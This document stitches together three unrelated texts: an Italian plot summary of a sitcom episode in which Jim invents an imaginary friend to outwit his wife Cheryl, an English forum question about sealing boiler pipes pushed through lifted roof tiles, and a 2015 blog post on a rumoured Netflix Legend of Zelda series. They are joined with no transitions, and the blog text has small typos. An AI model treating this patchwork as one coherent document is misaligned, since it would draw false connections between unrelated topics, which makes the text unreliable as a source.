La sera dopo tutti aspettano Gas e Cheryl già pregusta la vittoria, ma non sa che Jim ha già programmato tutto: giunge infatti loro un telegramma (abilmente preparato da Andy) che comunica la notizia della morte di Gas Dimas. Jim e Andy fingono il lutto mentre Cheryl può solo rodersi dentro perché il marito si è salvato anche stavolta.

Il giorno dopo, addirittura, Jim approfitta per l'ultima volta del suo amico immaginario e si compra un flipper (al quale Cheryl era sempre stata contraria) dichiarando che Gas gliel'ha lasciato nel suo testamento. Ma Cheryl non ha intenzione di cedere e gioca la sua ultima carta: per onorare la memoria di Gas, intende fare una donazione di ben 500 dollari all'associazione californiana per i leoni marini, al quale Gas era iscritto secondo quanto raccontato da Jim. Lei si aspetta che la prospettiva di un simile sperpero di denaro convinca Jim a rivelare la verità data la tirchieria del marito ma Jim, con sorpresa persino di Andy, preferisce spendere quei soldi piuttosto che rinunciare ai privilegi offertigli dall'amico immaginario. Come ultimo tentativo, Cheryl alza la spesa a 700 dollari ma le cose non cambiano. Cheryl si infuria, capendo di non poter piegare in alcun modo il marito e di aver perso la "partita". E non è tutto: Jim si è già inventato un nuovo amico immaginario, Cherman, che subito entra in azione portando Jim e Andy al bowling trionfanti, sotto il disappunto di Dana e la furia di una sconfitta Cheryl.

we have a scaffold up as part of a renovation, and we have located a condensing boiler and ventless hot water tank in the loft to create more space in the bathroom.
However, the plumber has just lifted out a roof tile and pushed the emergency relief and condensation pipe through the roof to run down into the gutter. We have very low hanging eaves, so the floor of the loft is about three or more feet higher than the top of the wall, so there's little / no space to route the pipes to the exterior wall.
But the way they have lifted the tiles looks like a leak waiting to happen.. is there a lead or other fixture or idea that would leave the pipes where they are (there are really very few options for them) but prevent future leaks?

Legend Of Zelda Series Coming To Netflix?
by Callam 'Doogle' Lawless | February 7th, 2015
Legend Of Zelda on TV? Surely not? And if it is true? How?! WHAT?!
A few years ago an april fools joke excited many people. A trailer for Legend Of Zelda film was released, and while it may not have had the visual of a high end production, it was crafted in such a way that even those who instantly recognised it as a joke, had a small glimmer of hope that the date was just a coincidence, and that Link would be making a big screen appearance.
Now, according to a Wall Street Journal article, Nintendo are said to be working with Netflix to develop an exclusive Legend Of Zelda, live action series. Though it currently stands as just a rumour, the report mentions how they are "still seeking a writer to work on the series."
The real question is, how would they tackle the story? Would Link be the protagonist? If so, would he talk? How many TV shows c\an you name that centre around a mute elf? Will it be a lose adaptation of the Zelda structure that we know, or would it just be set in a Hyrulian kingdom? The main question though, is would it be good?

After years of watching, playing, ingesting and digesting video games, I felt the need to get into the industry in any way possible. Gaming used to be a hobby, but it has evolved to so much more than that. As an industry that is larger than showbiz, I'm just glad to say that I was around for (near enough) the start of it.
